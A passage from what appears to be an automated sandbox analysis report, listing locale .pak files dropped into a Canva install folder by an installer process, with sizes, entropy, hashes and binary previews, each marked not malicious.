Preview:	........h%..e.z...h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.!...z.0...\|.6...}.H.....P.....U.....].....e.....m.....t.....{.................................................................N.....n...../...........^...........a.....#.......................=.................N.................)...........".....l........... .................!.......................K...........d.............................p...........;...........,.....K.....&...........m.................q.................4.......................`.............................p.......................).................,.................!...........9.................&.................. ..... ....b!.....!....."....."....."..../#....V#.....#....N$.....$.....$....C%.....%.....%.....&.....&....O'.....'.....'....~(.....(.....)....<).....)....`...............+.....+....b,.....,....U-......................./....30.....0.....0.....1....L2.....2.....2....:3.....3.....3.....3.....4....5.....5

C:\Program Files (x86)\Canva\locales\is-OFPEN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	451080
Entropy (8bit):	5.512024572152552
Encrypted:	false
SSDEEP:	6144:UVmES/piH64PrXGM0w3jMMP9eD3D9faYLbcNx54SbngP/eoQwB:Umz14XRlMMY3DzA54S+QwB
MD5:	8F164155D22029535CD60F47966A89AF
SHA1:	19733935EFE68F7FF3E2A84D28317E0391EB824B
SHA-256:	20BE1732675FEDF380010B09936ED65C71BB761D0A05732215EF0795B5ABA606
SHA-512:	4582715817BB9C99D875AA89B1EFBD0F70B63DCD37DBFC64E3078D1D4D7AD4AE8FAC5A703AFE1FC65B9AF2F5C0FE8D3E293E2F0530106A6974B38B4CEBCA9DB0
Malicious:	false
Preview:	.........%s.e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.!...w.....y.4...z.C...\|.I...}.[.....c.....h.....p.....x.......................................................................I.......................^.......................S.......................V.......................1.....v.......................9.....`.....m.................$.....;.................#.....;.............................k.......................9.......................#.............................M.....h.....w.............................[.............................m.......................I.....v.......................9.....D.............................L.......................&.......................!.....`.............................?.....T.............................s.......................Z.............................Z.......................9.....q.................Z.......................m.......................c.......................#.....E.....U...................

C:\Program Files (x86)\Canva\locales\is-OJISU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	594260
Entropy (8bit):	5.634301538864236
Encrypted:	false
SSDEEP:	12288:55mDjVARjMAUbgXaG1DT/G5qzIx1JgNR86SNM:+9IMQqOG5LxngNRX
MD5:	1051DEEA3EB2BC73A1CBEF894635541D
SHA1:	A122975C2C3366FC4D87AB4C6C3C6D65FF6AA4A9
SHA-256:	95253DEAE9554317C60490A982A4D310C87238096E3BAD0329E8BF4C944CBAED
SHA-512:	2DBB1DA602FE9966C03DEBB03C1B793574968D68C5386FBBB7E56E97D6626DBE4991ECA6B9C470BF778A327E3DB29530977D25BA40E5704501696DC8AF8D0302
Malicious:	false
Preview:	........Z%..e.^...h.f...i.w...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|. ...}.2.....:.....?.....G.....O.....W.....^.....e.....l.....m.....n.....p.....~.......................F...........4.....O...........e................._...........9.....S...........J.........................................S.................&........... .....T.....y.............................d.................%.................M.....]...........u.................f...........D.....b...........D.....k.................i.........................................W.................(.................V.....e...........c................./.......................e.................!...........T.................8...................................C.....k...........].................=.................-............ ....& ....9 ..... ....`!.....!.....!....S".....".....#....>#.....#.....$.....$.....$....v%.....%....8&....X&.....&.....'.....'.....'....:(.....(.....(.....(....Z).....)....**

C:\Program Files (x86)\Canva\locales\is-Q3Q9O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	536254
Entropy (8bit):	5.290910182310605
Encrypted:	false
SSDEEP:	6144:b+EGmPIUsd4x92/ii/jNLiISIqRRRsO1StORT9TjexKqcQxLcaPpzHi9fLwlSfpA:BPIxmjZxa8uN6sjoy5IkoW
MD5:	52109B028A189C75C3889300B7EC728B
SHA1:	AABD5CBBFFF52B6D89158B0D78CFD6FABDE706AF
SHA-256:	89D7EC12AA52D5F2298D3FDDFA24439BD89031C4341F1D2B9900A2E46664F7D8
SHA-512:	8766CC41EB7510F200E0F8E27A2678B3F50378AA6F1764B11DA79D120248B6ECCCFAE7A4863AE437AD66133BA0C1BB25F5242AC9DBCE87916382F18BBA1E2256
Malicious:	false
Preview:	........U%..e.T...h.\...i.m...j.y...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.(.....0.....5.....=.....E.....M.....T.....[.....b.....c.....d.....f.....y.......................I...........7.....S.................Z.....k...........c.................s...........'.....P.............................o.......................r.................6...................................{.................9.......................V...................................g.................3....._.....}.................A.....O.............................\|...............................................d.......................8.............................b.........................................F.............................J.....`.....v...........$.....P.....e...........A.................#.....f.......................<.....g.....z..........._.................g...........W.....n...........h................._............ ....- ....z ..... ..... ..... ....\!.....!.....!

C:\Program Files (x86)\Canva\locales\is-QMIFB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1148544
Entropy (8bit):	4.309990877698155
Encrypted:	false
SSDEEP:	3072:A4TQMBc+YPbBMDBW6bfrBDNOHIwjAwREJKVMjNiT7llj63rFXlPCpMi5eWWiMJsr:A4THSPbr6bvMa/+c5q4hNkFR
MD5:	DBC465E12C921212C1A3E899E5FD5046
SHA1:	F6F7081E622DF0FC9647DCE0572483899A59E440
SHA-256:	7B06F3B7040901E7DBD2884BA534D43E73013CE0677BC725D53BCCD54759AD5E
SHA-512:	9C3F3E7E7A62A0148789F561C37144F971ECC16C44A4F5A89214CBD7FADE0E1D2CCCD5C106C4718DF84A198262EF139A6530C400F5C0873231009E8B432BD3BC
Malicious:	false
Preview:	........T%..e.R...h.Z...i.t...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}./.....7.....<.....D.....L.....T.....[.....b.....i.....j.....k.....p.............................V.....S.....$.....`.....S.....................................................U.......................;.................f...........P.....p.....S...........n.......................J...........b.....6...................................+.....(.....#...............................................(.....d...........D...........9.....a...... ..... ..... .....!.....!....."....."...."#.....#.....$.....$.....%.....%....q&.....&.....&.....'....7(.....(.....(....^).........i.....*.....+.....,....P-.....-....?...........F/....o/...../....t0.....0.....0....u1....V2.....2.....3.....4.....4....h5.....5.....6....-7....p7.....7.....8....K9.....9.....9.....:.....;....'<....Z<.....=.....>....\|?.....?.....@.....A....0B.....B....pC....<D.....D.....D.....E....gF.....F.....F.....H.....H.....I

C:\Program Files (x86)\Canva\locales\is-QOEDO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1316964
Entropy (8bit):	4.222438704648711
Encrypted:	false
SSDEEP:	12288:g0bF+kiawFCJiDQ6f03QIBRFUc407L5PtzUk4pt+h9bu:g0bPinmJL5ZUV
MD5:	17D2349C9191C0E9D70B03FF3E240B3C
SHA1:	7B425B76CD479273CA092606DBE326A1301FA472
SHA-256:	EB1BD5B8F89B9E9B568912455AD3B8A791F3370A34411E6FC982A661CC1B05AD
SHA-512:	7EC6AD8B7CFC80782B8CA1702BE66B56FFB8AADB307CAFC5F6C4D365FD3FD273FFFF737E496A36F9162EFDCA5189B06A137753BA3A70418F490DEFA9884F2B96
Malicious:	false
Preview:	........x%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.4...w.A...y.G...z.V...\|.\...}.n.....v.....{.......................................................................]...........(.....\.....]...................................t...........h.............................e.......................B...../...........y......................./.............................7.....=...................................a.............................. .....!.....".....#.....#.....$....0%....{%.....%....l&.....&....Q'....d'.....(.....(.....(.....).....).........5+....o+....C,.....,....x-.....-....O....../....r/...../....v0.....1.....1.....1.....2....T3.....3.....3.... 5.....6.....6.....7.....7.....8.....9....]9.....9.....:.....:.....:.....;...._<.....<.....=....F>.....?.....?....#@.....A.....A.....B....\B.....C....XD.....D....7E.....F....HG.....H....cH.....I....JK....HL....}L.....M.....N.....O....P....bQ....GR.....R....:S.....T.....T.....U....VU.....V....rW.....X

C:\Program Files (x86)\Canva\locales\is-QOTHS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	559523
Entropy (8bit):	5.4511750881399434
Encrypted:	false
SSDEEP:	6144:JF04spOl5qs9TjmXHjvyJeyFodxOINkjK0yGZq5zZyo2ts2H/ktO3:JS4sAKQmXHuJRFozO/u0zq5zAoY/b3
MD5:	3DFCF8B66CE93A258D1631685A137E20
SHA1:	4B10119ACB26C44EDFF2028D27E960B93C0BD812
SHA-256:	5E5D1CDE0FCEB570C20E7485B32F0EF7AD59569B93574FCBBC7AEAD4906E7D14
SHA-512:	17FE50ECD7D44EE5D652B4240CC3B01CF796F9EC11C5FDFE5AF9DE63999F10D2A50842FDF95FA2DBB4982139C34A9DFB11C8BC2261180862652A92F1497692C4
Malicious:	false
Preview:	........]%..e.d...h.l...i.}...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.$...}.6.....>.....C.....K.....S.....[.....b.....i.....p.....q.....r.....t.............................A.................9.................3.....G...........N.................?......................._.......................B.......................Q...................................L.....p...........N.......................r.................-.......................~...........N.....\|.................9.....V.......................%.....v.......................[.......................X.......................E.............................k.......................S.........................................M.............................e.......................j.................7.................".....t.......................e................................... .....5...........2.................'.......................t............ ....$ ....x ..... ..... ..... ....z!.....!....9"

C:\Program Files (x86)\Canva\locales\is-R3GP8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	513715
Entropy (8bit):	5.450169156228439
Encrypted:	false
SSDEEP:	6144:gRsuNwWzVPsP5sbse814e8jKwlRDdJwL2obEZZaFRQ5Mk2rkvb3d4nTGqFwJ:g6qskjdTv5M/rvTpu
MD5:	D5BF4ABA2D82744981EBF92CCAADF9C0
SHA1:	1A1C4EA1D4ECF5346EE2434B8EB79D0BF7B41D46
SHA-256:	0C75ACB008DD5C918D8A1A73C22FA7C503961481BF1708F6BDA0DA58693C3C08
SHA-512:	5BCCC18687FCEFAD5E78C5C8072ACEA36CE7687C5B848A1E0367C82A38F32F46402FF01EDD4FB1379EE77083EF0E1964E24BAD87B18CE78077B28F0C1BD4BD08
Malicious:	false
Preview:	........Y%..e.\...h.d...i.u...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.0.....8.....=.....E.....M.....U.....\.....c.....j.....k.....l.....n.....\|.............................................._.................&...........2.......................k.......................^.......................F.....p.....~...........G.....v.................\|.................E.......................l.................%.................~...........+.................).............................f.......................?..............................................0.......................).............................h.......................Q.....~...................................B.......................&.....z.......................W.....t.................l.................<.......................<.......................T.......................P.............................'.....].................X.......................2 ....N ....[ ..... .....!....T!

C:\Program Files (x86)\Canva\locales\is-S2N5V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	551632
Entropy (8bit):	5.40551102269728
Encrypted:	false
SSDEEP:	12288:WM4Hy2Q57BREeApk73K5PqF4N3Mw2juwHzejm0t3lvqbETX9/RSHhIsjcmlLEYuT:+itVzaBRn1WDMN8UpOO5J/ras
MD5:	D5D6200B582B9B12A0BD8C773DEA0474
SHA1:	341650B76AF1C74129A97725673B646B7256D4D6
SHA-256:	F4DA114B473C34E0946B12289F6E802FCEDE2F66013D4F184C729A1F8AE7350E
SHA-512:	1465E7214C4AE818B545778B831B7773F0373726F705160BA4DF33CE3C206A2166C8B6519336FD2B1E405EF6811D2CFDC2A655F1B767BF9B4E083C6A33B34AE4
Malicious:	false
Preview:	........U%..e.T...h.\...i.d...j.p...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.......'.....,.....4.....<.....D.....K.....R.....Y.....Z.....[.....].....w.......................s...........o.................c.................X...........<.....[.................V.....s...........".....U.....h.................L.....]...........G.................<...................................,.....@.................1.....E...........#.....h.............................).......................&.....v.......................T.......................T.......................c.......................P.......................).....t.......................d.................,.......................a.......................\.................$.....s.................B.................(.............................e.......................o................. ...........E.................R.................( ..... ..... ....*!....J!.....!.....!....."....."....."....."....6#....R#

C:\Program Files (x86)\Canva\locales\is-SE1D2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1255925
Entropy (8bit):	4.288346104977189
Encrypted:	false
SSDEEP:	12288:sHU9G7McKNBJhot56d4e/gb0HrWs05Bk3p1FZNViFlV2wtg+NFqIrOlHXAAFwQVV:s0X1u5EM2X
MD5:	44C01878B175E976E75CE036E4D7A495
SHA1:	91ECD7611C7C25F8615F234537819BE42799B288
SHA-256:	7F28D607ED94E339B677CD5556202FB60F7E801E74AF16397EF610C7302F6957
SHA-512:	3AFBFB3D6A95F1D61FE6A409729C768F1E4F0B3B4C1B6E35AF806F0AABCB6FF516CC70E9A112C2C6CEDE88C2778BFAE08A3E6AFFD05C9D5BC8A5DD4A4EC9BDD3
Malicious:	false
Preview:	........r%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.1...w.>...y.D...z.S...\|.Y...}.k.....s.....x.......................................................................T...........F...........x...................................{...........b.........................................z.............................U.................}...........=............................`.....T...........+.....g.....^...........1............ .....!....."....\|#.....$.....%....#&.....'.....'.....(....H(....q)....6...............+.....,....&-....g-.........../....20.....0.....1.....2.....3....[3....{4....L5.....5.....6....#7.....7....i8.....8.....9.....:.....;....b;.....<.....=....N>.....>.....?....C@.....@.....@.....A....EB.....B.....B....wC....,D.....D....%E.....F.....G.....H.....H.....I....^J.....J.....K....FL....$M.....M.....M....@O.....O.....P.....P.....R....<T....mU.....U....0W....AX.....X....lY.....Z.....[....;\.....\.....]....Z^.....^....._....\`....Wa.....b

C:\Program Files (x86)\Canva\locales\is-SJ34D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	553673
Entropy (8bit):	6.059297407958035
Encrypted:	false
SSDEEP:	12288:OokI3UKOV2Ngi7w2IyxxMSVG0GTZn8t8OQ4E3hkaYrLCqD5dEp7RqGT8U1wXq7hW:sFel5i8QzCr
MD5:	714958C45E5EEBD32B6799FFD76159C0
SHA1:	B38CA8FFBEE6FDAAA00DE9C77074F4F6BBFEFB8D
SHA-256:	87F8003E7FE90A487C1007A626D30B8A77FEB54E627D3FE365DDB6A66A7E4AC4
SHA-512:	E60E77022902BF13E747354BD1AE5E9C3F4E8E6642D52C0EABDBAFF7B829ADD3251851A02B65F941985D31C7D5EA02347023F33269336B8B476E2314924022BB
Malicious:	false
Preview:	........w$..e.....h.....i.....j.....k.....l.....m.....o.....p.....q.....r.....s.....t.....y.'...z.6...\|.<...}.N.....V.....[.....c.....n.....v.................................................................a.................9.................S.....f...........J.......................t.................+.......................0.......................?.......................P.......................i.......................].......................\...................................U.....l.................B.....Y.................$.....4.........................................1.....M.................E.....U.................P.....c.................O....._.................N.....^...........S.......................^.......................Y.......................d.................).......................N.............................l.......................`................./.......................q.................!.......................+.............................\|.........................

C:\Program Files (x86)\Canva\locales\is-SMGPF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	524797
Entropy (8bit):	5.339786582850613
Encrypted:	false
SSDEEP:	12288:Za8pzL2fuucrB5G7CCRdCAUQbQW4243EaeFNUq89F1ggt45rUAcw06yJMkJPe/Bb:HkJ5IY
MD5:	AD41974EFF2483E260B558AC010879DC
SHA1:	BE8B566A4CE4A529F8EB0352ABC7A2023A9B5355
SHA-256:	ECC84D9A40448772697C14F27B1297FCDCE12DF30D008A7D4149A6AA587D85A8
SHA-512:	2B731DAAD19CA5E43D29106C1EC06B8BA6B54EF44571FD51C2CF65DA4C9BA1941D78808D03F2056A839E2E76844E979B775AFC7B470640101328B572D10E0C4E
Malicious:	false
Preview:	........X%..e.Z...h.b...i.m...j.y...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.(.....0.....5.....=.....E.....M.....T.....[.....b.....c.....d.....i.....{.......................;................. .......................@...........3.......................L.......................=.....h.....w...........".....Q....._...........,.....`...................................[.......................i.......................j.............................&.......................F.....n.......................:.....C.........................................=.....K.................0.....B.................C.....N.................%.....2.................%.......................X.....q...........$.....P.....l................._.................@.....\|.................h.................>.............................f.................'.....\|.................f...........;.....O...........1.....t...................................L ..... ..... ..... ....n!.....!....!"

C:\Program Files (x86)\Canva\locales\is-T2DTB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	543303
Entropy (8bit):	5.374575506060356
Encrypted:	false
SSDEEP:	6144:BJoGuBgJYXqY+clpuYsKBoj5z6gLFdUu2bR:BJqGiqQpPU5z62F/oR
MD5:	6E7EEE3C0D7935B4B72FB529227413D8
SHA1:	64643BA51EDCA0C0387073716D68380DF5E2DC7C
SHA-256:	06D13FFC791BB7189F5AFBB166B1DC2BCF9309F04B68E4F16BAACD4B3F625021
SHA-512:	F55A55D9F23463A51F48BD16DEBCC6FCA28EEC4CEFBB3006083E741795EDD9A9EFB8D1126210F4A35558BC698C8A76A43E9E56093A90145137A7854B4A2E44F8
Malicious:	false
Preview:	........]%..e.d...h.l...i.u...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.0.....8.....=.....E.....M.....U.....\.....c.....j.....k.....l.....n.............................N...........B.....]...........5.....z...........&.................!.................P.....k.................8.....K.................0.....A...........;.................:...................................:.....M...........".....`.....w...........c.................^...........6.....].................#.....>.......................&.......................4.................V.....i...........-.....k.....w...........#.....T....._.................8.....B.................P.....`...........S.................%.....z................./.....\|.................m.................>.................6.......................%.......................4.................M.....g...........\|.................. ..... ....F!....t!.....!....Z".....".....".....#....K#....n#.....#.....$....r$.....$.....$

C:\Program Files (x86)\Canva\locales\is-TPATK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	543232
Entropy (8bit):	5.350780003321714
Encrypted:	false
SSDEEP:	6144:DD8qint0wME1/o/7Ng0Hkp3+UNoqFtnjO5Jmr40nIw6PZgHu:D4vthMsy7EpPoqTnjO5IrbnjO
MD5:	1EFB37FAA54DA5A7D9FE694FEE7D5E4E
SHA1:	497F6E0FB9DC099DFD8E107570FEBE9D0A6EBC2D
SHA-256:	77AA01763C114B75A83DE3C34C60497B1CA23C98523F58A43C76AAE7380AB3B6
SHA-512:	FACC41943159DAD7541F5D50B8216F6CCF02703A983DD81120F387DDEA70D502F5D66C275F80267C7A3B1EB9F1C751A4EC3B307D03F872BE4237366637BB829A
Malicious:	false
Preview:	........b%..e.n...h.v...i.~...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.!...\|.'...}.9.....A.....F.....N.....V.....^.....e.....l.....s.....t.....u.....w.............................]...........U.....p...........R.................>.................H...........+.....g.................=.....l.....\|...........>.....f.....w...........q.................e.................<.................W.....h...........8.....t.................}.................u...........9.....^.................F.....\.................0.....?.................8.....N.................M.....`.................I.....U.................3.....>....................... .........................................R.....l...........".....N.....k.................C.....b...........I.....n.................v.................[.......................O.......................e................. ...........4.................7 ..... .....!....+!.....!....."....O"....c".....".....#.....#....A#.....#.....$....R$

C:\Program Files (x86)\Canva\locales\is-U285M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	918373
Entropy (8bit):	4.858278654048673
Encrypted:	false
SSDEEP:	12288:/T0LytA6d8Nj7RMRWYPnfzKj0meRi8ICN5rB3IjtAlLEpdcuPLNiXEqqbQS0w:/Ys8Njtgz55E5
MD5:	BC19ED011123CE8CE343BA2BE9DAA315
SHA1:	D588DF92475BB650D1E2BFC15E558315E90C9425
SHA-256:	EF7FFD8792B482829F31924241E6BD12DCCDFDF404A0781BB28747C308649C0A
SHA-512:	6B0960807F27C7653E7D851D503F5564F773C9E4290D4745566A0C3911CC0EF12E90F47DE883C541129AD7D294A766F226DC689AA343A00AD72049BF3D5C3713
Malicious:	false
Preview:	.........%V.e.....h.....i.....j.....k.....l.....n.....o.....p.#...q.)...r.5...s.F...t.O...v.d...w.q...y.w...z.....\|.....}.....................................................................................?...........e.....(.......................!.................{...../.......................J.............................\|...........:...........&.....;.........................................K...........9...........3.....Y...............................................!.................\...........$...................................<.....]...........\.................l...........j...........&.............................,.....v.............................. ..... .....!....`!....{!....t"....D#.....#.....$.....$....!%....e%.....%.....%....]&.....&.....&....Y'.....'....x(.....(.....)....<.........++.....+....,,....`,.....,....4-.....-.....-....%............/.....0.....0.... 1.....1.....2.....2.....3...._4.....4....)5.....5....h6.....6.....6....i7.....7....%8....B8.....9.....9....2:

C:\Program Files (x86)\Canva\locales\is-UBP8V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	634523
Entropy (8bit):	5.786224749056375
Encrypted:	false
SSDEEP:	12288:HLvU+cmwJlroEKaaF/KtXy0xxcPdI9+vUx5a8hye94KieJziMHo6wtON:rs+cmwJl7a4ti0xeo5a88e1ieliMI6wI
MD5:	4185AB945C7550DE028909A55ABD3129
SHA1:	0D5DAF37C1A0528C6F1DBA47758FC18938B6F34C
SHA-256:	030D29BFC26F9F08DB13455C0D635F33B0315905D27D030D9F7813DADD899603
SHA-512:	F500B4957AB0192A570130868BD661F94B4D0CD36D6A9EA5BE45437C95DCD8923CCA1EBFACD9AC98B85420E1D9FA96A74A9D4801432296A87871867672B3C60E
Malicious:	false
Preview:	.........%^.e.....h.....i.....j.....k.....l.....n.....o.....p.....q."...r.....s.?...t.H...v.]...w.j...y.p...z.....\|.....}..................................................................................... .....?.......................1...........E................._...........S.....y...........z.................:......................./...................................K.....}.....=...........O.....}.............................~...........C.....Z...................................X.................\.......................v.................!.................=.....N...........L.........................................+.......................@.......................S.............................^.................c...................................-...........$.....Z.....z.....#............ ....n ..... ....R!.....!.....!....7".....".....".....#.....#.....#....S$....z$.....%.....%....3&....G&.....'.....'.....(....D(.....(....-)....b)....{).....)....N..........*....3+.....+.....,....<,

C:\Program Files (x86)\Canva\locales\is-US4EF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	577498
Entropy (8bit):	5.8098091220164525
Encrypted:	false
SSDEEP:	12288:rSkwf/qsOkNEpiIip+RC5zwbLfrQzLPxt9eI:3wf/qsgpiCC5OLkBtEI
MD5:	421D713180D716A060629C334630ED80
SHA1:	FD2D0A0A6D7A27C40A725C1757299AFE6D3A12FB
SHA-256:	BE66B2442B5B4A6DC28A14545E2C4A0BC7F9E6547A89F974D7B8A63525C1855F
SHA-512:	A6C8F62DFE81008A888FAB89BCCDCA8242650771BC2B07CB6B51B77DDA2C8EB9F2681D6260CA584ED2BDBC1EB6A60B78C8E07445FAA4E15D2B30134989263EB0
Malicious:	false
Preview:	........_%..e.h...h.p...i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.'...\|.-...}.?.....G.....L.....T.....\.....d.....k.....r.....y.....z.....{.....}.............................p...............................................c...........7.....Q...........".....[.....r...........A.....p.................<.....e.....y...........R.................G.................6...........-.....h.................d.................7.............................-.....~.................O.....o.................E.....k.....}...........>.....e.....w...........W.........................................*.......................;.......................Z.............................5.......................8.....S.....g.................8.....M.................O....._...........\.................1.......................5.......................U.............................W ..... ..... ....R!.....!.....!.....".....".....".....#..../#.....#.....#.....$.....$.....$.....%....M%

C:\Program Files (x86)\Canva\locales\is-VTUIA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	535874
Entropy (8bit):	5.6117453642537285
Encrypted:	false
SSDEEP:	6144:KErTapWZp08qQdrdwZiRDhzXkKxv8CXHXki4wge75MW/2+qi1nEedGAMYw/KFT6Q:KECph8qeoi7zBkiN5MW/B
MD5:	04D37B8E9DB287042E86D0623063F9CA
SHA1:	C6C3C32350737EFBC938F59A12D1D4A1C2ACA736
SHA-256:	0FD794B314D12652CA5C1986795A00BD0116B44A3163D2EA0B26560E3AD23EEE
SHA-512:	38756868FDD0045AA3E10D26E89F923759AFF7FB4C984CAE2FC46091D737E6C9B5EDD924948671ABE4B9991E150DCB0068143618911595F021332A5DBA7AD912
Malicious:	false
Preview:	.........%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.%...r.1...s.B...t.K...v.`...w.m...y.s...z.....\|.....}...........................................................................................5...........X.................7.......................q...........,.....G.................C.....V.................&.....5.......................*.................,.....N...........A.......................f.......................].........................................].................-.......................3.................!.....2.......................,.......................;.................A.....R.................E.....R.................>.....J.................C.....P...........U.................'.......................(.....u.......................\.......................}.................9....................... .....y.................8.............................6.................N............ ..... ..... ....4!....z!.....!.....!....Z".....".....".....#....x#.....#

C:\Program Files (x86)\Canva\locales\it.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	536254
Entropy (8bit):	5.290910182310605
Encrypted:	false
SSDEEP:	6144:b+EGmPIUsd4x92/ii/jNLiISIqRRRsO1StORT9TjexKqcQxLcaPpzHi9fLwlSfpA:BPIxmjZxa8uN6sjoy5IkoW
MD5:	52109B028A189C75C3889300B7EC728B
SHA1:	AABD5CBBFFF52B6D89158B0D78CFD6FABDE706AF
SHA-256:	89D7EC12AA52D5F2298D3FDDFA24439BD89031C4341F1D2B9900A2E46664F7D8
SHA-512:	8766CC41EB7510F200E0F8E27A2678B3F50378AA6F1764B11DA79D120248B6ECCCFAE7A4863AE437AD66133BA0C1BB25F5242AC9DBCE87916382F18BBA1E2256
Malicious:	false
Preview:	........U%..e.T...h.\...i.m...j.y...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.(.....0.....5.....=.....E.....M.....T.....[.....b.....c.....d.....f.....y.......................I...........7.....S.................Z.....k...........c.................s...........'.....P.............................o.......................r.................6...................................{.................9.......................V...................................g.................3....._.....}.................A.....O.............................\|...............................................d.......................8.............................b.........................................F.............................J.....`.....v...........$.....P.....e...........A.................#.....f.......................<.....g.....z..........._.................g...........W.....n...........h................._............ ....- ....z ..... ..... ..... ....\!.....!.....!

C:\Program Files (x86)\Canva\locales\ja.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	655212
Entropy (8bit):	5.686448471913808
Encrypted:	false
SSDEEP:	6144:tPm/rHeA9VXH3Wv0WSGRpZXQ2y+BbX5znS1V7:o6UJHmccpZXQ2y+N5znC
MD5:	5C8C92313284117F3C549DC53273AE8B
SHA1:	697F746CFFBBCA1D43BBF29AC1619318BD3DC96D
SHA-256:	4C34AAFD5794886A4D091C4F4A97642BB9F199B90203D904E14E503FC3EDB845
SHA-512:	1C1232B6CDE8CBE2D827BEF0C0495165B4CC27494249BCB44B73D03404F3070AAF2CBD72F8425D24D197F14757553157858951280E524608AADA053EAE028DDC
Malicious:	false
Preview:	.........$..e.....h.....i.....j.....k.....l.....m.....o./...p.<...q.B...v.N...w.[...y.a...z.p...\|.v...}.................................................................................................@.....a.............................v................B...........m.......................L.................a.........................................&...........".....Y.....~.............................e...................................$.....3.................K.....Z....................... ......................."...........#.....d.........................................4.................0...................................P.....b...........M................. .............................:.................:...................................!.....B.............................6.................4.................. ..... ..... ...."!....b!....}!.....!....R"....."....."....J#.....#....R$....g$.....$.....%.....%.....%.....&.....'....G'....h'.....'....V(.....(.....(....;).....)..........*

C:\Program Files (x86)\Canva\locales\kn.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1316964
Entropy (8bit):	4.222438704648711
Encrypted:	false
SSDEEP:	12288:g0bF+kiawFCJiDQ6f03QIBRFUc407L5PtzUk4pt+h9bu:g0bPinmJL5ZUV
MD5:	17D2349C9191C0E9D70B03FF3E240B3C
SHA1:	7B425B76CD479273CA092606DBE326A1301FA472
SHA-256:	EB1BD5B8F89B9E9B568912455AD3B8A791F3370A34411E6FC982A661CC1B05AD
SHA-512:	7EC6AD8B7CFC80782B8CA1702BE66B56FFB8AADB307CAFC5F6C4D365FD3FD273FFFF737E496A36F9162EFDCA5189B06A137753BA3A70418F490DEFA9884F2B96
Malicious:	false
